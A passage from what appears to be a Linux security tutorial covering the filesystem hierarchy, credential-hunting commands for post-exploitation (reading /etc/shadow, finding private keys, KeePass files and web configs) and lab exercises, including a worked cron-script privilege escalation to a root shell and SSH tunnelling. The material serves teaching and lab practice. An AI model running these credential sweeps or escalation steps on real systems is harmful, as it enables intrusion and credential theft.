&lt;span class="c"&gt;# Recent SSH connections&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# All SSH login attempts&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"sshd"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-50&lt;/span&gt;

&lt;span class="c"&gt;# Authorized keys — who has key access?&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/authorized_keys
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /root/.ssh/authorized_keys

&lt;span class="c"&gt;# Check for suspicious authorized keys&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt; /etc/passwd&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;home&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;eval echo&lt;/span&gt; &lt;span class="s2"&gt;"~&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$home&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/authorized_keys"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt;
        &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$home&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/authorized_keys"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected keys in root's authorized_keys = backdoor&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Linux File System Hierarchy (FHS)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 What FHS Is
&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;Filesystem Hierarchy Standard (FHS)&lt;/strong&gt; defines the directory structure and content of Unix-like systems. Every Linux distribution follows it (mostly). Knowing where things live is essential for efficient security work.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/
├── bin/          → Essential user binaries (ls, cat, bash) — symlink to /usr/bin on modern systems
├── boot/         → Boot files (kernel, initrd, GRUB)
├── dev/          → Device files (disks, terminals, /dev/null, /dev/random)
├── etc/          → System-wide configuration files
├── home/         → User home directories (/home/username)
├── lib/          → Shared libraries for /bin and /sbin — symlink to /usr/lib
├── media/        → Mount points for removable media
├── mnt/          → Temporary mount points
├── opt/          → Optional/third-party software
├── proc/         → Virtual filesystem — kernel and process information
├── root/         → Root user's home directory
├── run/          → Runtime data (PIDs, sockets) — cleared on boot
├── sbin/         → System administration binaries — symlink to /usr/sbin
├── srv/          → Data for services (web, FTP)
├── sys/          → Virtual filesystem — hardware/kernel information
├── tmp/          → Temporary files — cleared on boot (world-writable!)
├── usr/          → User programs and data (the bulk of installed software)
│   ├── bin/      → User command binaries
│   ├── lib/      → Libraries
│   ├── local/    → Locally installed software (not from package manager)
│   ├── sbin/     → System admin binaries
│   └── share/    → Architecture-independent data
└── var/          → Variable data (logs, databases, mail, print spools)
    ├── log/      → Log files
    ├── www/      → Web server content (Apache/Nginx default)
    ├── lib/      → Persistent application data
    └── tmp/      → Temporary files preserved between reboots
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Security-Critical Directories
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# /etc — The Configuration Directory&lt;/span&gt;
&lt;span class="c"&gt;# Every configuration file for every service lives here&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd             &lt;span class="c"&gt;# User accounts&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shadow             &lt;span class="c"&gt;# Password hashes (root only)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/sudoers            &lt;span class="c"&gt;# Sudo configuration&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts              &lt;span class="c"&gt;# Local DNS resolution&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab            &lt;span class="c"&gt;# System cron jobs&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/ssh/sshd_config    &lt;span class="c"&gt;# SSH server configuration&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/init.d/             &lt;span class="c"&gt;# Legacy service scripts&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/systemd/system/     &lt;span class="c"&gt;# systemd service files&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/cron.d/             &lt;span class="c"&gt;# Additional cron job files&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/nginx/              &lt;span class="c"&gt;# Nginx web server config&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/environment        &lt;span class="c"&gt;# System-wide environment variables&lt;/span&gt;

&lt;span class="c"&gt;# Post-exploitation: search /etc for credentials&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;passwd&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;secret&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;key"&lt;/span&gt; /etc/ 2&amp;gt;/dev/null

&lt;span class="c"&gt;# /tmp and /var/tmp — The Wild West&lt;/span&gt;
&lt;span class="c"&gt;# World-writable directories — attackers use these to stage payloads&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /var/tmp
&lt;span class="c"&gt;# Both are writable by everyone&lt;/span&gt;
&lt;span class="c"&gt;# Difference: /tmp is cleared on boot, /var/tmp persists across reboots&lt;/span&gt;
&lt;span class="c"&gt;# Attackers prefer /var/tmp for persistence&lt;/span&gt;

&lt;span class="c"&gt;# Find unexpected executables in /tmp (indicator of compromise)&lt;/span&gt;
find /tmp /var/tmp &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-executable&lt;/span&gt; 2&amp;gt;/dev/null
find /tmp /var/tmp &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.sh"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.py"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.elf"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# /proc — Kernel and Process Intelligence&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/version            &lt;span class="c"&gt;# Kernel version&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/cpuinfo            &lt;span class="c"&gt;# CPU information&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/meminfo            &lt;span class="c"&gt;# Memory information&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/net/tcp            &lt;span class="c"&gt;# TCP connections (raw format)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/net/arp            &lt;span class="c"&gt;# ARP table (discovered hosts)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /proc/                    &lt;span class="c"&gt;# PID directories for every running process&lt;/span&gt;

&lt;span class="c"&gt;# Per-process intelligence:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/1/cmdline          &lt;span class="c"&gt;# Command that started PID 1 (init/systemd)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /proc/1/fd/               &lt;span class="c"&gt;# Open file descriptors of PID 1&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$$&lt;/span&gt;/environ | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="s1"&gt;'\n'&lt;/span&gt;  &lt;span class="c"&gt;# Your current process's environment variables&lt;/span&gt;

&lt;span class="c"&gt;# /dev — Device Files&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /dev/
/dev/null                    &lt;span class="c"&gt;# Discard everything written here&lt;/span&gt;
/dev/zero                    &lt;span class="c"&gt;# Source of null bytes&lt;/span&gt;
/dev/random                  &lt;span class="c"&gt;# Cryptographically secure random (blocks)&lt;/span&gt;
/dev/urandom                 &lt;span class="c"&gt;# Cryptographically secure random (non-blocking)&lt;/span&gt;
/dev/mem                     &lt;span class="c"&gt;# Physical memory (restricted access)&lt;/span&gt;
/dev/sda, /dev/sdb           &lt;span class="c"&gt;# Disk devices&lt;/span&gt;
/dev/pts/0, /dev/tty         &lt;span class="c"&gt;# Terminal devices&lt;/span&gt;

&lt;span class="c"&gt;# Reading /dev/random for entropy (useful in crypto contexts)&lt;/span&gt;
&lt;span class="nb"&gt;dd &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/urandom &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;32 &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 2&amp;gt;/dev/null | xxd   &lt;span class="c"&gt;# Generate 32 random bytes&lt;/span&gt;

&lt;span class="c"&gt;# /var/www — Web Server Root&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /var/www/html/                   &lt;span class="c"&gt;# Apache default&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /etc/nginx/sites-enabled/        &lt;span class="c"&gt;# Nginx virtual hosts&lt;/span&gt;
&lt;span class="c"&gt;# Look for:&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.php"&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="s2"&gt;"password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;db_pass&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;mysql"&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"config.php"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;".env"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"wp-config.php"&lt;/span&gt;

&lt;span class="c"&gt;# /home — User Data&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /home/                           &lt;span class="c"&gt;# What users have home directories?&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/john/                  &lt;span class="c"&gt;# Their files&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/john/.bash_history        &lt;span class="c"&gt;# What commands have they run?&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /home/john/.ssh/                 &lt;span class="c"&gt;# Do they have SSH keys?&lt;/span&gt;
find /home &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.txt"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pdf"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.kdbx"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="c"&gt;# .kdbx = KeePass database file — gold if found&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Sensitive Files to Always Check
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# During post-exploitation, check these immediately:&lt;/span&gt;

&lt;span class="c"&gt;# Credential files&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/shadow
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/sudoers
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;".bash_history"&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"id_rsa"&lt;/span&gt; 2&amp;gt;/dev/null          &lt;span class="c"&gt;# Private SSH keys&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pem"&lt;/span&gt; 2&amp;gt;/dev/null           &lt;span class="c"&gt;# SSL/TLS private keys&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.key"&lt;/span&gt; 2&amp;gt;/dev/null
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;".netrc"&lt;/span&gt; 2&amp;gt;/dev/null          &lt;span class="c"&gt;# FTP/HTTP credentials&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.kdbx"&lt;/span&gt; 2&amp;gt;/dev/null          &lt;span class="c"&gt;# KeePass databases&lt;/span&gt;

&lt;span class="c"&gt;# Web application credentials&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"wp-config.php"&lt;/span&gt; 2&amp;gt;/dev/null    &lt;span class="c"&gt;# WordPress database creds&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;".env"&lt;/span&gt; 2&amp;gt;/dev/null             &lt;span class="c"&gt;# Laravel/general env files&lt;/span&gt;
find /var/www &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"config.php"&lt;/span&gt; 2&amp;gt;/dev/null
find /opt &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.conf"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Database files&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.db"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.sqlite"&lt;/span&gt; 2&amp;gt;/dev/null
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.sql"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Backup files (often contain old passwords)&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.bak"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.backup"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.old"&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Key Takeaways and Security Mindset
&lt;/h2&gt;

&lt;h3&gt;
  
  
  14.1 Linux Is Transparent by Design — Use That
&lt;/h3&gt;

&lt;p&gt;Windows hides complexity. Linux exposes it. &lt;code&gt;/proc&lt;/code&gt; gives you a window into the running kernel. &lt;code&gt;strace&lt;/code&gt; shows every system call. Log files record everything. This transparency is a security professional's best friend — both for investigating systems and for understanding what your own tools are doing under the hood.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.2 Permissions Are Everything
&lt;/h3&gt;

&lt;p&gt;The entire Linux security model is built on file permissions, user IDs, and group IDs. Every privilege escalation technique ultimately exploits a misconfiguration in this model:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SUID binary owned by root → run as root&lt;/li&gt;
&lt;li&gt;World-writable cron script running as root → write malicious commands&lt;/li&gt;
&lt;li&gt;World-writable service file → modify service to execute your code&lt;/li&gt;
&lt;li&gt;Writable /etc/passwd → add root-level user&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The checklist is always the same: &lt;code&gt;sudo -l&lt;/code&gt;, SUID files, writable cron jobs, writable service files, PATH hijacking opportunities. Memorise it.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.3 For OT/ICS Linux Systems
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Many industrial devices run embedded Linux (OpenWRT, Buildroot, Yocto). The same commands and concepts apply, but the environment is constrained — often no package manager, limited binaries, read-only filesystem in some cases.&lt;/li&gt;
&lt;li&gt;SCADA historian servers, protocol gateways, and engineering workstations often run Ubuntu or CentOS. They are typically unpatched and running outdated kernels with known privilege escalation vulnerabilities.&lt;/li&gt;
&lt;li&gt;SSH is commonly used for administration of Linux-based OT devices. Default credentials and weak SSH configurations are endemic in industrial environments.&lt;/li&gt;
&lt;li&gt;Log review is rarely done in OT environments — meaning attackers can operate undetected for extended periods. Your ability to set up logging and detect anomalies is directly applicable.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  14.4 The Command Line Is Precision
&lt;/h3&gt;

&lt;p&gt;A GUI hides what is actually happening. Every click translates to system calls and file operations that you cannot see. The command line shows you exactly what is happening, gives you complete control, and scales to automation through scripting. Embrace it — discomfort with the terminal is a ceiling on your effectiveness.&lt;/p&gt;




&lt;h2&gt;
  
  
  15. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: File System Reconnaissance (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On a fresh Ubuntu VM, map the security-relevant landscape&lt;/span&gt;

&lt;span class="c"&gt;# 1. Find all SUID binaries and check each against GTFOBins&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/suid_binaries.txt
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/suid_binaries.txt

&lt;span class="c"&gt;# 2. Find world-writable directories&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-0002&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; proc | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; sys

&lt;span class="c"&gt;# 3. Check sudo configuration&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;

&lt;span class="c"&gt;# 4. Examine /etc/crontab and cron directories&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron.&lt;span class="k"&gt;*&lt;/span&gt;

&lt;span class="c"&gt;# 5. Check running services and their users&lt;/span&gt;
ps aux | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# What users are running services? Are any unexpected?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Log Analysis — Build a Story (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Set up SSH password authentication temporarily for this exercise&lt;/span&gt;
&lt;span class="c"&gt;# Then generate activity:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Make several failed SSH login attempts from another terminal&lt;/span&gt;
ssh wronguser@localhost
ssh root@localhost  &lt;span class="c"&gt;# Should fail if PermitRootLogin no&lt;/span&gt;

&lt;span class="c"&gt;# 2. Make a successful login&lt;/span&gt;

&lt;span class="c"&gt;# 3. Run some sudo commands&lt;/span&gt;
&lt;span class="nb"&gt;sudo ls&lt;/span&gt; /etc/shadow
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/sudoers

&lt;span class="c"&gt;# 4. Now analyse the logs:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"sshd"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"sudo"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# 5. Write a one-liner to find the top 5 IPs with failed SSH attempts&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log |
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s2"&gt;"[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}"&lt;/span&gt; |
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Permission Misconfiguration — Exploit It (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Set up a vulnerable scenario on your lab VM (as root):&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /usr/local/bin/vulnerable_script.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'echo "Running maintenance..."'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /usr/local/bin/vulnerable_script.sh
&lt;span class="nb"&gt;chmod &lt;/span&gt;777 /usr/local/bin/vulnerable_script.sh  &lt;span class="c"&gt;# World-writable!&lt;/span&gt;

&lt;span class="c"&gt;# Add it to crontab running as root&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"* * * * * root /usr/local/bin/vulnerable_script.sh"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/crontab

&lt;span class="c"&gt;# Now switch to a non-root user and exploit it:&lt;/span&gt;
su - normaluser

&lt;span class="c"&gt;# Check for the writable script&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/local/bin/vulnerable_script.sh

&lt;span class="c"&gt;# Modify it&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /usr/local/bin/vulnerable_script.sh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'chmod +s /bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /usr/local/bin/vulnerable_script.sh

&lt;span class="c"&gt;# Wait up to 60 seconds&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;60

&lt;span class="c"&gt;# Check if bash is now SUID&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /bin/bash
&lt;span class="c"&gt;# -rwsr-sr-x root root  /bin/bash  ← SUID set by our script running as root&lt;/span&gt;

&lt;span class="c"&gt;# Get root shell&lt;/span&gt;
bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;

&lt;span class="c"&gt;# Clean up after the exercise&lt;/span&gt;
&lt;span class="c"&gt;# (as root): chmod -s /bin/bash &amp;amp;&amp;amp; sed -i '/vulnerable_script/d' /etc/crontab&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: SSH Tunnelling (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Lab setup: Two VMs — Attacker (Kali) and Target (Ubuntu Server)&lt;/span&gt;
&lt;span class="c"&gt;# Target has a web application running on localhost:3000 (not exposed to network)&lt;/span&gt;

&lt;span class="c"&gt;# On Target: start a simple web service&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 3000 &lt;span class="nt"&gt;--bind&lt;/span&gt; 127.0.0.1

&lt;span class="c"&gt;# On Attacker: create local port forward through SSH&lt;/span&gt;
ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 9000:localhost:3000 user@target_ip

&lt;span class="c"&gt;# Now on Attacker — access the "internal" service:&lt;/span&gt;
curl http://localhost:9000
&lt;span class="c"&gt;# You are accessing the target's localhost:3000 as if you were on the target machine&lt;/span&gt;

&lt;span class="c"&gt;# Exercise 2: Dynamic SOCKS proxy&lt;/span&gt;
ssh &lt;span class="nt"&gt;-D&lt;/span&gt; 9050 user@target_ip
&lt;span class="c"&gt;# Configure proxychains to use localhost:9050 SOCKS5&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"socks5 127.0.0.1 9050"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/proxychains.conf

